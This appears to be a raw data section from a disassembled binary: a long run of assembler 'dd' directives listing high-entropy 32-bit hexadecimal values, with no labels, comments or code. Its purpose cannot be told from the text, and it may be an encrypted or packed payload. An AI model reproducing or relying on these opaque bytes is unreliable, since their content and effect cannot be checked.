dd 31987A7Dh, 7F4CA601h, 4225400Ah, 902FEFC4h, 7ED820A1h
dd 63780504h, 40EEF24Ah, 11E2EB07h, 294B7DAEh, 80257E1h
dd 0B2CEF75Ah, 883C659Dh, 50ACD50Bh, 25D93E08h, 30EEA560h
dd 0EAD16395h, 76C9A971h, 488BCFD4h, 0FEFEA3C2h, 0B4E92E56h
dd 0E734AEA2h, 0DA8CE208h, 0F68F4E57h, 11B254Bh, 0ED038A64h
dd 385A5D91h, 0FF0E054Dh, 0E8454062h, 9004F5Dh, 71847D98h
dd 21FD28BDh, 0C0314B83h, 5E6EF574h, 2937D609h, 0E5684EAh
dd 287E21BAh, 274C70C3h, 0B92C447Eh, 0F34724E2h, 3287FCE4h
dd 12AEA25Fh, 6ACEF501h, 0A273E788h, 32527582h, 0CED45A20h
dd 497EDE5Ah, 522102EDh, 2E678F0Fh, 99E6D7C4h, 4356E10h
dd 345E6851h, 4F32EBA9h, 0F340DD5Fh, 54813717h, 0BA64E320h
dd 67A50408h, 0BB29814Ch, 31364890h, 41A7AFEh, 0CE2E61C9h
dd 0C4F0EF72h, 0DAF31F55h, 6EA8B2Ch, 25A71408h, 820EF7Eh
dd 5FF8594Bh, 0E9C71673h, 0BA828087h, 0F52D6C34h, 81027C3Bh
dd 7A2423C3h, 1A403D44h, 602C156Dh, 82E8259Fh, 53A48B77h
dd 0E0D301E2h, 6D68EBE9h, 3DB9003Bh, 0CE81649Dh, 8A751D0Dh
dd 99F68079h, 0E97A9039h, 8CF2962Ah, 0DFD3A825h, 0D7E26D20h
dd 1F5EB03Bh, 77DADD1Ah, 0CA00C0FAh, 1EB5467Ch, 9491E955h
dd 253B26C9h, 0EFE8BDD3h, 5F4C4225h, 0DE95E434h, 716850C4h
dd 0B820725Fh, 5BE9F0B0h, 121A13A9h, 9ACAFA66h, 4F095805h
dd 0A598BB1Ch, 0F63845D4h, 0B9609051h, 4E85656Eh, 1BFF806h
dd 6CCD6791h, 127BCEE9h, 5DD9AEB4h, 37E97D89h, 0D2D20F0h
dd 73077DBEh, 6B11CBD8h, 5EC92F58h, 37301A01h, 0FE925D6Eh
dd 0D1F792h, 4A396A64h, 68164169h, 0F1CC0B09h, 9B6712C9h
dd 8AC70114h, 3E3EC064h, 2CFC68D0h, 6207EB6h, 684DC1E5h
dd 0C5001D3Fh, 0BD28D79Ch, 5A5DE931h, 0F4068729h, 5B70AF14h
dd 270CB82Dh, 89F71E36h, 4AA2C444h, 0F415E05Bh, 98F8FB5Eh
dd 19F3D3B7h, 0E7D70987h, 0DCE90593h, 0B97F4EFh, 0FCB3104Ah
dd 0E442F98Bh, 898C775h, 8309D24Fh, 2F35CEAh, 65B9A54h
dd 0E1818D76h, 31943CF3h, 1487E120h, 0AF68A90Ah, 7473CA05h
dd 1F87BB98h, 846FD6A3h, 50A3A7BFh, 281988B4h, 7725B58h
dd 0D1D157E6h, 9AFA5693h, 29EB4A9Ch, 13AB3C0Ch, 0F3682286h
dd 66DD1D30h, 61E8125Bh, 2860E95Eh, 0D3E24E4Bh, 87F41292h
dd 0FBFC64DCh, 0E648E861h, 1D820F00h, 0EF791363h, 2D34C9E3h
dd 5435BD70h, 0B654CEA4h, 0CA890ECAh, 4D955EE4h, 5316BE8h
dd 851D26A4h, 0C579D505h, 2F90F1F7h, 522D3303h, 0D8468B27h
dd 0C0493985h, 0B6F58A16h, 0E91A5E7Ah, 44419889h, 1372B02Ch
dd 5FF16C2h, 0D485F1CCh, 4B9ABA4Fh, 899E8924h, 2BD2EE88h
dd 1BA0620h, 0A7B151ACh, 0CC12C180h, 0FE24F7F1h, 850B65C9h
dd 12349B47h, 0E35F6F6Eh, 0A4029257h, 0C28E675Ah, 28B0D4A9h
dd 0B779A6Ch, 4170E919h, 0C1802912h, 158D0DA5h, 5DAF214Eh
dd 33C54527h, 345E813Fh, 0C6CD80F4h, 72B431F6h, 5D8D2C0Fh
dd 0FDE98773h, 0A3FC092Eh, 0EA09755Ah, 277C3A80h, 0FCA24F51h
dd 6DBFD0F8h, 82E9842Dh, 2CCDF4F1h, 5EAE3617h, 0CA0183CDh
dd 6F2DCB1Ah, 47E987Ch, 23D3AEBEh, 6EE5FB29h, 6E8118BDh
dd 90E9502Dh, 0FDF950EAh, 0E078689h, 463FBA52h, 0D00938D0h
dd 0A4B74EE9h, 7978EAF9h, 67808E4Eh, 0F63DB551h, 20CC7BF5h
dd 68270C62h, 8B0DB10h
dd 311212ACh, 0B3CCFBF1h, 61773F35h, 6D2E182Dh, 0EA3E08C1h
dd 0E38F2146h, 0BC081395h, 0E956A09Eh, 60BCBA74h, 6858305Eh
dd 0F99D7C31h, 39E94281h, 0DCBC6E50h, 431F84CFh, 0F4AD37BCh
dd 90B57415h, 96A9372Dh, 5EF049F0h, 0A84CCA0Bh, 378C0069h
dd 189ECEB3h, 43451568h, 778240C3h, 53094F59h, 0FC5B9A4Fh
dd 27EB09F8h, 51CF345Dh, 0AA795E9h, 0B5B2045Dh, 6882ACEDh
dd 219E2259h, 17486817h, 57B024F8h, 0E14FB2E9h, 680A7BE2h
dd 0B2264AC1h, 6EF15CFAh, 0E47668C2h, 0E5B620D2h, 9F114C9Dh
dd 3B4E01D2h, 1EAFB384h, 478ACB57h, 0A761E242h, 40E32DB5h
dd 499543DDh, 9D78C226h, 23D752E1h, 713178FDh, 3E3431Ah
dd 68050682h, 6491110Ah, 5800FBA6h, 584BEE80h, 3FC0DEF6h
dd 0AE2507E6h, 8E058540h, 6C3D6B7Dh, 241B985Ah, 0B876B616h
dd 9AF14F9Ah, 0C4464028h, 73011627h, 29B4A05Eh, 0B48DF81h
dd 77C89B44h, 14B1295h, 0C664A321h, 46C9DF07h, 68174DCEh
dd 7F601F90h, 481348A8h, 135A94Fh, 0EE7E8227h, 1C6F4657h
dd 4F7F48C9h, 0A3EBFE29h, 552DC8DCh, 0E849D9BCh, 0D65A2700h
dd 68F16C16h, 665B2A25h, 962495Dh, 0BD4A8B3Ah, 0BDE9F074h
dd 0BC3E9174h, 224DEB12h, 78C103B3h, 0FEE2D7A4h, 0F74D625Fh
dd 74EEEE11h, 0F87729ECh, 0FB752F27h, 4D26E7h, 765D5816h
dd 5B02D831h, 54E29B05h, 4A237014h, 0BF5EF053h, 0C6A520B5h
dd 0B8A206A8h, 0B2F34F97h, 0A7058006h, 9776669h, 9621252Dh
dd 0CAD81007h, 20A42407h, 0BD8BB512h, 2A573A11h, 0BC4AD1B7h
dd 43291A99h, 0BA6EF70Fh, 5C773A20h, 4812B954h, 0F2114C06h
dd 505A5E55h, 2D3560EEh, 0ED344D51h, 7129976h, 0FFA4ABACh
dd 41AA5BD8h, 2E8831EBh, 0A1B49DECh, 0D0BD0168h, 0E08E3B92h
dd 765F5D7Eh, 0A3C0522Dh, 6764C50Fh, 68026A18h, 0E65D18AAh
dd 0BFEBE6ACh, 57C1D413h, 0DA957ED0h, 0F0126532h, 0BC584EF1h
dd 2D005875h, 0C5F8A73Dh, 4E451A61h, 0B23A84ECh, 8AF23C5Ch
dd 6566AD17h, 0E34E80D4h, 281D7AD3h, 42CC0F38h, 5AE49D1Ch
dd 7ABC3301h, 316654C0h, 49BBD34Bh, 8BDDEDB8h, 650E59FBh
dd 2E5BE149h, 86E467BCh, 2741BAF8h, 4914DC2Fh, 438BB562h
dd 821F5920h, 668E53C3h, 9240CA56h, 3965765Ah, 0AD4E60E9h
dd 6855C59Fh, 26A0A4BAh, 0FE60EAAAh, 5BD68292h, 0AD6925AEh
dd 65A88482h, 149B43FBh, 0F1A86450h, 6D986932h, 0F5E0EB0h
dd 1537DB85h, 86AC5AA7h, 0DA01125Fh, 0D0C88C50h, 8897C90h
dd 0E931E8C1h, 7C8C6C2Dh, 0A05DD201h, 4482B806h, 313E90F0h
dd 907B2663h, 0E428111Eh, 40B05203h, 0D6B70111h, 1CC640CDh
dd 804F47B7h, 0E93ED4F2h, 0E166A7AFh, 124D8CC8h, 34C0AE5Fh
dd 0BC012EBBh, 88F6730h, 4D8C246Fh, 862BCDA1h, 0B62D249Fh
dd 526292Bh, 5FB45EF2h, 0EC73145Ah, 6F09DF61h, 0D8819E66h
dd 0E03E3DEDh, 50B509DBh, 0C56974ACh, 0A36439E5h, 1EDB18AEh
dd 1E9F2D92h, 933CA10Eh, 5A1FF070h, 0B4CC14BFh, 3B448801h
dd 27157C69h, 71EBB37Ch, 0FA519324h, 0AC2A2539h, 0CB6C126Dh
dd 0ECDED9AAh, 8FAE5019h, 12FC211h, 4607684h, 68D4D6E9h
dd 8150F587h, 28544BCFh, 5095192h, 0FB134EFh, 0DC03FA9Ah
dd 279B7EE9h, 0A4DF55A1h, 41EE5E66h, 3F76F42Dh, 716146Eh
dd 95834AFh, 665F0ACAh, 337E37C8h, 3D4FE249h, 166EDFAAh
dd 6BD3BB0Dh, 7472FA9Ah, 0F328002Bh, 0B968505Ah, 4AD17453h
dd 0E2C0E2FCh, 0C12C5B58h, 0C0C3E917h, 0BC1F36E4h, 5A3E607Dh
dd 31064719h, 9A7FE9FAh, 4565BF1Eh, 60B16804h, 0C89A968Dh
dd 0EB828FB8h, 0F006861h, 9AAB9288h, 0E8F2058Ch, 126F662h
dd 5A248488h, 0D5F860E7h, 4B3163BFh, 471D1F9Ch, 0F303E2C1h
dd 65F36852h, 83837BE7h, 51033C06h, 0BFF2E2C2h, 582BDA08h
dd 9FF49508h, 267603EBh, 0D0150288h, 0EB045A66h, 0A8094DE1h
dd 0A0B3F34h, 847E734Ch, 0D9BA13CCh, 0C0F66CB5h, 0A4625B2Dh
dd 0DC58BD57h, 0A0665325h, 6A0A0C8Ah, 6E9A9036h, 18C51775h
dd 1329BD41h, 0E96072D3h, 507F1299h, 9F38E71h, 316F2F1Bh
dd 0C686A81h, 1F500101h, 0A5C8B211h, 0F0BFE13Fh, 6E8DDEBh
dd 981BE16h, 24D66243h, 49A1E600h, 130F695Eh, 0B44D1386h
dd 0E04BCB9h, 0F5316445h, 6C9F1CBCh, 4308067Ch, 0E20B0C42h
dd 0D618FE5Bh, 0D1560C02h, 0EF09E341h, 84106C2Bh, 53A8A600h
dd 12C9A8C4h, 84BD87AAh, 13B3A219h, 0BB41D7E9h, 5C39F080h
dd 0B593996h, 303042C3h, 1C3E1741h, 22B965Ah, 0BB0031A3h
dd 10944A66h, 6305A7BFh, 0DF31582Fh, 92F29CBh, 0C1C342F6h
dd 40BAF5EDh, 0BC563108h, 3C9229E5h, 660C1A29h, 0F326270Dh
dd 9BFAC940h, 0BF8BB75Eh, 2E5B2289h, 0B82AFD00h, 0D4DBF723h
dd 0A9041904h, 82348754h, 0AD52288Dh, 24030120h, 0E5FCDF68h
dd 0C19F4509h, 819709E1h, 6FFF7C62h, 0E412CEEh, 0FA1C79EEh
dd 0E98CC6BAh, 0E73BBA32h, 6B8CA9DEh, 0E2B5782Bh, 8085A1C0h
dd 0ECC05FCDh, 70C1EC59h, 90E17B69h, 5340965Fh, 0C881A3C3h
dd 951D2F53h, 55E188C9h, 3BEA8EB1h, 0E425009h, 728CE122h
dd 7E965F0Dh, 4BD9DE1Eh, 0F992D45Dh, 466E49FBh, 51683B60h
dd 5624064Bh, 569CEB53h, 0E9510D55h, 3F2BA8CDh, 94C12500h
dd 0FC37DB49h, 0EA4C526Fh, 0F73E7C05h, 0C1C0E051h, 0FB25C778h
dd 27F22Dh, 621B0F1h, 3B6D683Ah, 7B08C697h, 277F326Eh
dd 23568AA2h, 34817772h, 603F10DEh, 0BE41298Ch, 0A1D48701h
dd 978F893Fh, 4CAC6FF4h, 48AAA3D2h, 5FA01221h, 7305CA90h
dd 2982000Bh, 9D685653h, 74580440h, 0D0D21717h, 0F29209B3h
dd 24B89234h, 8BC047E2h, 18979563h, 0AA1C8515h, 6B6240ABh
dd 0F2B98012h, 640E4705h, 54C9D1F7h, 4AAB83Ah, 15EA4D38h
dd 0E658580h, 453A2EF2h, 0F5490230h, 0BD49F3B8h, 0D8A37E5Ah
dd 847F9F58h, 0BAB18E26h, 31627787h, 85895739h, 532F7E5Bh
dd 0FD5997CFh, 4BAE4C14h, 0D9F664C1h, 79604BCh, 0C2DA56C9h
dd 102C700h, 3A4CF7FEh, 0CE628C94h, 71AAF659h, 5141802Fh
dd 0C923AAB9h, 8778D41Dh, 1359110h, 0F022F381h, 0B12AB369h
dd 0DA6928D5h, 0F3F3776Ch, 0D8914F03h, 0F9C5B0CCh, 182B6E62h
dd 20676DC7h, 0CED9E968h, 3EA64991h, 440FF602h, 8FE18101h
dd 7D8186BCh, 0B402BAC7h, 3C81707Ch, 842E3D5Ch, 40D80795h
dd 0B289431h, 6477EE87h, 9E51A0C1h, 6F5D818Eh, 1C208F8Eh
dd 0EDB3E913h, 0C10BC6E9h, 6D0005EAh, 338E1CA5h, 0E92E5CB0h
dd 7127B5C8h, 0DCC48EE1h, 5E112FFEh, 0D2A23BC7h, 97F1E9C3h
dd 0E4EBD92Fh, 0F95220D9h, 2DB1664Ch, 778E8B17h, 0E9271D36h
dd 5700628Ch, 1612CB6Fh, 0E50414Bh, 5FCC3C3Dh, 25CA7E52h
dd 0A8FED867h, 0C0645401h, 39F40F51h, 0FC58D604h, 0C1C7978Fh
dd 0F68627FBh, 0BD28D4DBh, 0D71B1097h, 3382C612h, 12DD883Fh
dd 0D6901378h, 48965C7Dh, 0B000A02Bh, 68163C3Ah, 0A3B40239h
dd 0A2B7A067h, 5044D569h, 0AC0AE83Fh, 601C21Bh, 3B86F905h
dd 5D2CE9FCh, 8B41B527h, 0BC05E40Dh, 183ECBAEh, 0BB0A6EA2h
dd 3A7D021Eh, 7E3C139h, 0FC2F8781h, 0C2AD60C5h, 5C435401h
dd 0FB9AE935h, 6C25AA66h, 89666241h, 0F858D334h, 9AF89F63h
dd 956C3722h, 1029189h, 9477995Bh, 0FBF39033h, 0EB379204h
dd 3DA4CCDEh, 3D8C92Dh, 5E4CDFC6h, 289A48B0h, 381C132Eh
dd 4FB85060h, 23F2C26h
dd 0B4B309DCh, 0E1B0D482h, 0DF68100h, 703B2D88h, 0C827F8FEh
dd 9F8F8A69h, 25FE246h, 46CFE020h, 0BA7B5CD2h, 0A13E1E01h
dd 2EE1E969h, 0CDFAA513h, 3682F3A0h, 0E5AFF7CDh, 645C166Dh
dd 0AB81BFCFh, 475767B2h, 0D10B3482h, 786580CBh, 4C01397Eh
dd 59281095h, 0E3969350h, 0AB1363E2h, 8EE45BDDh, 0B917C7F2h
dd 77AF81F0h, 0E9FEC41h, 97AC1C9Fh, 68851BF1h, 4E521693h
dd 988D5CEBh, 0A2BA167Dh, 114C7972h, 5D2CC023h, 0A1421ED1h
dd 0B73A04E5h, 28680AC4h, 0FC0C71Bh, 39592A4Fh, 0D8B8EB9h
dd 21553150h, 0F2B7E974h, 5D97882Bh, 2D72CFB5h, 0C0A69AC5h
dd 66726309h, 22AF0FA1h, 0FE021054h, 0C1AF44E9h, 0C2463B80h
dd 0CF04815Fh, 644936AFh, 8ACA90BFh, 544BF235h, 406D28F0h
dd 0C57A80C7h, 765AABF0h, 9229F0F4h, 0E155E9A0h, 5AE5A014h
dd 0C631E505h, 6435C9DCh, 0AFE39F68h, 0E5913AE2h, 17CA7310h
dd 30E8D6F7h, 0D56B00D3h, 413AEF0Eh, 789D6CB0h, 47ED0FF7h
dd 77093903h, 0F94E6241h, 4E9928F3h, 5C89ADE7h, 153660F5h
dd 96E9263Bh, 13D44255h, 0C7299182h, 7E709FC1h, 0CACCD823h
dd 29B6CA1Eh, 0DCEFFDD8h, 65BB1416h, 0DF82BEEBh, 123564Dh
dd 50685D54h, 0ABE37E06h, 0E71FF085h, 0CD891473h, 6C3D18B7h
dd 0C7C33027h, 6D68AD90h, 74F56029h, 368BE09Ch, 3F56E72Dh
dd 0BC493A34h, 22F738F3h, 28AD20D0h, 91890F0Ch, 5EDA31EFh
dd 0C394F9FFh, 0F143C4B5h, 27961927h, 0EA6C13A7h, 0B7DC09D8h
dd 0BD8D60Bh, 53F39538h, 95344A12h, 0A43AC4C9h, 0C24ABC1Dh
dd 530C65FAh, 0B533E8D9h, 20F1CCEAh, 0ADE107BFh, 2F89C963h
dd 29C4E829h, 74B4BA4Fh, 5AEE26C3h, 0FF29134Eh, 13082210h
dd 55F1E3E9h, 0C9E4F6FEh, 1D202458h, 5CC29709h, 5C32B976h
dd 5FA7C1Ah, 443AC168h, 721F490h, 32BC315Fh, 0EE29A61h
dd 50C78853h, 0C30CF86Ch, 5B62DEF0h, 0D10EAF24h, 2F952664h
dd 507149DEh, 0D729804Ch, 8151F960h, 0EA7C51BBh, 1CB0430h
dd 2E806E9Ah, 34A28D0Fh, 0D307F79Ch, 4F9DBE56h, 58517490h
dd 0E6144E8Bh, 0DCEA9673h, 0C14BE439h, 82A52CB8h, 0F0D90261h
dd 0BECA9A8Ah, 305DE181h, 5EC0BA5h, 82799DE0h, 0BD73488h
dd 7780DBF7h, 360C487Dh, 8EA755A0h, 319B4701h, 252FE9F3h
dd 518548h, 0D11D016Ch, 2DD0F7E0h, 0A7548300h, 3CD2355Dh
dd 137148FAh, 0CADA6916h, 0FB304F1Ah, 0C1B679E9h, 0F3814B16h
dd 13FDFCD0h, 0D64E7890h, 0C2FEAE49h, 0EDF4A1h, 0B8457705h
dd 11032D2Bh, 29242764h, 704E5F0h, 0A4A004E9h, 50FD070Dh
dd 0B2483869h, 797FDBA1h, 26F7C9E5h, 0E9136608h, 8551F5E6h
dd 8AEA5713h, 0D0E90C9Fh, 0EED59DC6h, 0E59A6986h, 0AFAC0644h
dd 7237554Ch, 5DF842BDh, 78E716B9h, 0F6CB5B31h, 0B876E85Fh
dd 8B532CE9h, 0CCEE9D1Ah, 0F80F758Fh, 585ECBFCh, 0BC26DBF3h
dd 0EB38B13Eh, 0F67D81E2h, 0B4A6D0E3h, 1077EC3Bh, 0EA40EF18h
dd 47F404Ch, 0B6BA54Ch, 1856EC68h, 97CBB5F9h, 0D41E0FD8h
dd 55D548Ah, 5D08649Ah, 3F8669E1h, 2CEE6A85h, 425482A4h
dd 6C90C2AEh, 0FC36DC0Bh, 0B2C98563h, 0F56CDCEBh, 928B5E4Eh
dd 4F4E2C50h, 935FB8C0h, 2E15D9EEh, 0E9A1D0E8h, 3019346Ch
dd 66A8FD4Ah, 1251531Fh, 0ED3DC459h, 4AD1D53Eh, 3D952D61h
dd 2E552D02h, 1C9EA0B6h, 57051h, 9F73FC5h, 0DC68E801h
dd 8F327A5Ah, 7C3142FBh, 5A3E03A5h, 0C040483h, 48C83529h
dd 0D4FB2FAh, 0E2EC19E9h, 0A3F3CC83h, 9C4A0927h, 172E52AFh
dd 0F8802C3h, 0A0FF2A80h, 562EF2C0h, 52470491h, 8DE185E9h
dd 70E6CD85h, 0B481F10h, 64E9167Bh, 4205AB5h, 0DD3A2D16h
dd 41295176h, 223998C8h, 534DBF33h, 9209A235h, 6598DC35h
dd 0A0DED4DFh, 77139FCCh, 4EE0EF7h, 56C73155h, 6C46D08h
dd 0E5976859h, 445F7BF6h, 92D04B75h, 2F6C562Bh, 0E75E0916h
dd 1E53442h, 6E604E68h, 8682152Dh, 19C10434h, 5B58468h
dd 253F4AB1h, 2A13498Eh, 58F09D12h, 87EFD10Fh, 7A6F25CFh
dd 0BDAA1CC8h, 0B759E542h, 86F376CBh, 9AF332E9h, 65CA882Ch
dd 73AF8024h, 96B18ED2h, 2F664C11h, 0EDD1A08Fh, 7E0F7E5Dh
dd 1CFD487Dh, 135F0840h, 212E67E9h, 0E746AEh, 27540B35h
dd 5B5C6F07h, 9203B8C8h, 18232565h, 0C34EF33Ch, 278B02ECh
dd 1DC59BF6h, 9AFE1488h, 6449F19Ah, 5509C4C6h, 0B300CFAAh
dd 37E94131h, 923A3E9Ch, 0D69DEF68h, 205AF37Fh, 911CA9CBh
dd 0B307072Fh, 93DE074Bh, 0D81DFCE0h, 0CDD3C3B2h, 881F23A8h
dd 0ECC68EE6h, 0E35E171Ch, 36E31CDDh, 7409084Dh, 4FF7FAC0h
dd 93ED12F6h, 341259ADh, 0F20EADCh, 1AF31A4h, 0BD554B46h
dd 70215DE6h, 1F4025F6h, 5F63EC4Ah, 0F526A8F1h, 9FEB0285h
dd 30ED5A33h, 3E955C1h, 5F128639h, 0F647D689h, 6ABF6E11h
dd 0F21FD9A6h, 0F9C5832Fh, 0A4F96911h, 5857E941h, 0AE0C0405h
dd 62F2BEBDh, 97C8D0D9h, 0B5C2120Bh, 5204E192h, 7A394B20h
dd 0D847BD27h, 0F0E14B12h, 7E919F62h, 760EEA03h, 0C04462Dh
dd 23386CC0h, 5883D7C0h, 0E01C4C94h, 6081C68h, 3FD97AE9h
dd 2384C707h, 56B42E7Fh, 5DFC43D5h, 3B87D10Ah, 282624D7h
dd 14080025h, 0E98134C2h, 0EBE4BA5Eh, 0F5D4409Fh, 83C08270h
dd 323E2E25h, 401DC031h, 0F0EF0581h, 5CEA38B5h, 685B7E1Fh
dd 892D92CCh, 46D60FEBh, 0C36403F3h, 4816B916h, 3AC54B61h
dd 420020A8h, 0E93D9A2Ch, 0D58227CCh, 8F358860h, 0FE678B09h
dd 39467D29h, 7AEF597Ch, 0E9126EDAh, 0D09B85CAh, 0E57EA7B7h
dd 35E1E24h, 12A9BD58h, 0A07C2E57h, 0FE44ED08h, 8550CE7h
dd 0D6A81A32h, 1216A424h, 5FC6AC0Dh, 6874203Fh, 0B295262Bh
dd 88AF41FDh, 0F7163776h, 0E1BAB8F9h, 276E329Bh, 0F8FF8413h
dd 64B90023h, 8115202Dh, 7EE804F1h, 0EB3148F6h, 0D6E25DC0h
dd 79F50267h, 0CC55E953h, 0C80FABD2h, 66830E41h, 9D9931BFh
dd 0BCE54FE3h, 0EA011A91h, 5712C91Eh, 265568D4h, 26112D9h
dd 1EA6469Fh, 26396076h, 943F9F5h, 97325AC4h, 0A0B8F56Ch
dd 0DBB75E59h, 2B711DDh, 7FACBA52h, 402E363h, 9B48BD6Ah
dd 0E73EC24Dh, 502F0C66h, 0E0C77EB8h, 4B62387Fh, 1FDE92Dh
dd 12CA68BAh, 0A49E77C2h, 9596E975h, 0E5D7B10Eh, 0A64B2510h
dd 305F76A7h, 0D9123C2Eh, 0E9296D1Ah, 0E0080AA2h, 0F8D35F1Ah
dd 71D095ACh, 0AB29E609h, 15807D4Bh, 14D71251h, 5BFFF980h
dd 0AB17BBF7h, 2BC579ABh, 0FFD3B2BDh, 80C1C28Dh, 9CE8C58Ah
dd 14B981BAh, 809A6435h, 3A4E65B8h, 90F92912h, 600882DCh
dd 9719D14Dh, 8A681538h, 0DE783948h, 717CA53Fh, 532881FFh
dd 0F85E46F1h, 1FB66DB7h, 3F19F6C0h, 56350036h, 526F02Dh
dd 0A8F47838h, 1BEEE91Ch, 1A34D725h, 0A7B60BFh, 0BD764A0Bh
dd 0E6C10B5Eh, 0E7628405h, 2A8ED9AEh, 0D316EAFDh, 0E9A38C76h
dd 2770C949h, 0B5724657h, 4CC8F4D8h, 4FD82566h, 7FB9764Eh
dd 8813B582h, 0BC905DC0h, 9E43F582h, 5C17DCFBh, 3040D159h
dd 2506A6C7h, 0A00CC161h, 7B44148Ah, 0D9840ADh, 0BCB675E9h
dd 8CFE7E92h, 0D4987D1Bh, 0D040D99Eh, 5B18234Dh, 2B03E129h
dd 0C5595E6h, 5173E02Fh, 482FE790h, 26B9DB1Ch, 0BE512F4Ah
dd 0ECA47397h, 5F7E0CF6h, 900C2DDBh, 302E7A16h, 23C1910Ch
dd 0B4F1BC2h, 6EE328CBh, 0A0CE9D40h, 0A78C493Fh, 0A2C5A89h
dd 61D85B50h, 203516A3h
dd 8CDEFFF3h, 194F457Bh, 21BD9780h, 50F0BF72h, 7E683025h
dd 3CC15AD9h, 3D85296Ah, 74277987h, 0E022F6D9h, 0C78833B0h
dd 5250581Dh, 251FE49h, 0F4EC9C5h, 8D0FC300h, 0A395C095h
dd 8DE93B30h, 68092DFCh, 60461E47h, 4E56C009h, 31E48079h
dd 90116239h, 3E0C011Ch, 0D5E946FDh, 9E8A2A43h, 0A4087662h
dd 9D00A564h, 0B969DB25h, 37F10918h, 9B783133h, 3EC51410h
dd 16772D3Ch, 9113EF01h, 8AAEFB52h, 0EDA05B7Ch, 3DA56E71h
dd 362C7C2h, 9EF1DD80h, 599D521Fh, 74311EBFh, 1EF1EE28h
dd 0A4879E43h, 0D15902FBh, 0A1DC43E3h, 0A3590882h, 267EF622h
dd 43F32729h, 2F993208h, 52C2FFE2h, 0BF006CDEh, 3CA279A7h
dd 73F907B9h, 533130FBh, 9403495Fh, 5CB42CC8h, 1809AC29h
dd 0F73BA05Dh, 4F170E02h, 2AD08BA0h, 1A98F34Bh, 8ED4D324h
dd 63086F6Ah, 0CB8100D8h, 700858FBh, 4D094790h, 86778C62h
dd 76070211h, 3AEB0981h, 49802CF4h, 17B49C8Ch, 0E9C63104h
dd 3FB9657Fh, 0C84911Ah, 9F2DCDFFh, 0E260D268h, 0A30BD617h
dd 801FFBF6h, 0E529F205h, 9D30E94Ah, 23CDFD0Dh, 6D3B3D3Fh
dd 3D316AAh, 8061B551h, 12D9CBF5h, 686E341Ah, 1848BB25h
dd 901F9B66h, 0B125008Bh, 0F344E05h, 2196DE80h, 26AF3501h
dd 88ED37F4h, 0F74648F2h, 0E8C12DD0h, 0C80CB276h, 121E9FA7h
dd 0F9BDF1h, 15369ED2h, 0ED068157h, 309C4592h, 52EC080Ch
dd 93A3278h, 766CC86Fh, 0D108A050h, 0A17C140Ch, 36945B20h
dd 351FCFB3h, 21E7401h, 26C1E908h, 5E2FD279h, 0FCD592BDh
dd 0E24A77C8h, 1BA38BEh, 45ABCA4Bh, 40F19247h, 6C06EABEh
dd 0F137DF3h, 3B13C8Fh, 4A0B9464h, 84EAF902h, 44188644h
dd 5BC0156Eh, 0DCB15FFBh, 0E15B5AB4h, 3105FCFCh, 0E7B11FD2h
dd 0E0C19441h, 0A804142Fh, 0C1FEA35Ah, 5DD3C0C6h, 26A7CCF8h
dd 840DFF78h, 0B851D406h, 0E95661F7h, 923BA638h, 57FC027Ch
dd 85108482h, 0D864F7AFh, 994B1098h, 68098EF3h, 1EFD7569h
dd 0EBF520C4h, 0BA68660Eh, 4D9976Ah, 0F6DBD02Ah, 0C05FDFE9h
dd 20FA2726h, 8627A471h, 32FCE5C2h, 0A5DD7E32h, 0C8AFDB61h
dd 751621A0h, 0E3B1B608h, 14CF1280h, 0E9487F25h, 2FAE7CF1h
dd 9254765Ch, 6001B13Bh, 7F1310A8h, 4EBF72C4h, 1481F87Dh
dd 30D129C7h, 0C4B7040h, 4E0E859h, 60A3976Eh, 0F1A7716h
dd 61188E19h, 0D2414326h, 2F2DEB3Ch, 0BAAC2002h, 0D5DE8906h
dd 0FE0A4E3Fh, 0DE99D51h, 0FD3A5ADCh, 22E70491h, 43C416B4h
dd 0CB59FEB8h, 0F440A897h, 0E99BD8FFh, 80B69F2Fh, 0E52628EFh
dd 9006B77Bh, 609F558Ah, 9DF08B7Bh, 84952051h, 0EF680C91h
dd 6290A30Dh, 295924DFh, 209F8682h, 2C50ACA9h, 3D199780h
dd 0E492D99Fh, 5161BB56h, 413EEC5Ah, 4442857Ch, 0CCE22140h
dd 29716770h, 804DD41h, 0BF88BABh, 0E88B99E9h, 0CC1814Ch
dd 0B890D40h, 8CECE80Ch, 3CE6334Eh, 0E2AF102h, 0E30F74D1h
dd 64B8A21h, 4818EB0Ch, 4E013C60h, 68BC953Eh, 0B38957A0h
dd 6455E761h, 1619E687h, 0F1592F62h, 90F06D46h, 94A64EF8h
dd 40BC7819h, 230870ACh, 0BFFCD195h, 0A8C8C5ACh, 0B35EF213h
dd 0E12F178Bh, 0F5F62EA4h, 1B4EEA4Fh, 9153E6CFh, 1E215A0Eh
dd 9FD42F9h, 0D4C22080h, 0AF45F65Ch, 10523B0h, 15F77F79h
dd 0EC07612Dh, 0C64C014Ah, 46CE2C3Ah, 0E3FB603h, 0D8688859h
dd 0B71ABF7Eh, 94260571h, 0F18A08h, 0D0276E2Dh, 0BD000D4Eh
dd 253DC341h, 4FDD46C5h, 190BA058h, 2E9B510Bh, 0A8588135h
dd 4A3029F4h, 0BEF24004h, 123DAAB8h, 54372617h, 0B54EDAA8h
dd 0A4050817h, 5FD5CC64h, 53C12005h, 854524FFh, 1348B2CEh
dd 27AFF4ABh, 2FBC8258h, 43B33AF7h, 0BD6100D9h, 6B637F42h
dd 4669F581h, 2BAB560Dh, 0EE9344BAh, 0B50EC4D8h, 0C240601Ah
dd 92243770h, 91036871h, 0F88E6DC8h, 0B2B0E9E8h, 0BB585A28h
dd 5BB9A528h, 0DF31B2F2h, 51D57549h, 78002F12h, 0FA225C5h
dd 5AD02117h, 0E0334EEBh, 0D39FEC77h, 0D3870307h, 3942A2h
dd 8B0FE0D1h, 25FB312Fh, 0A5402059h, 1D75BEC1h, 9F89F61Ah
dd 0B6528968h, 0C6FEB403h, 936BF680h, 0EC0E5ED6h, 55F87A76h
dd 34DAE917h, 0CD2F01F3h, 0ED801A01h, 2072BA6Dh, 0E5C00214h
dd 0DE29E906h, 8B2D0ACCh, 7CF5EF9h, 652E0ACDh, 0E805AB09h
dd 0AEF4BBDFh, 0DA721EA4h, 5B8FCDFDh, 0B1F78C51h, 0DC52764h
dd 1FBD63B8h, 93173EDEh, 7E82CFAh, 6FFBB47Ch, 0F145A9DCh
dd 0C80EA67Bh, 9DDA52EBh, 8402A70Dh, 420D545h, 9C939AA2h
dd 0F10D16E5h, 0DAF42151h, 0F03070C4h, 0F5ED5B22h, 69F82D33h
dd 0E06EAE55h, 0E975AB1Ch, 41B34B5Bh, 3449437Eh, 9C05D327h
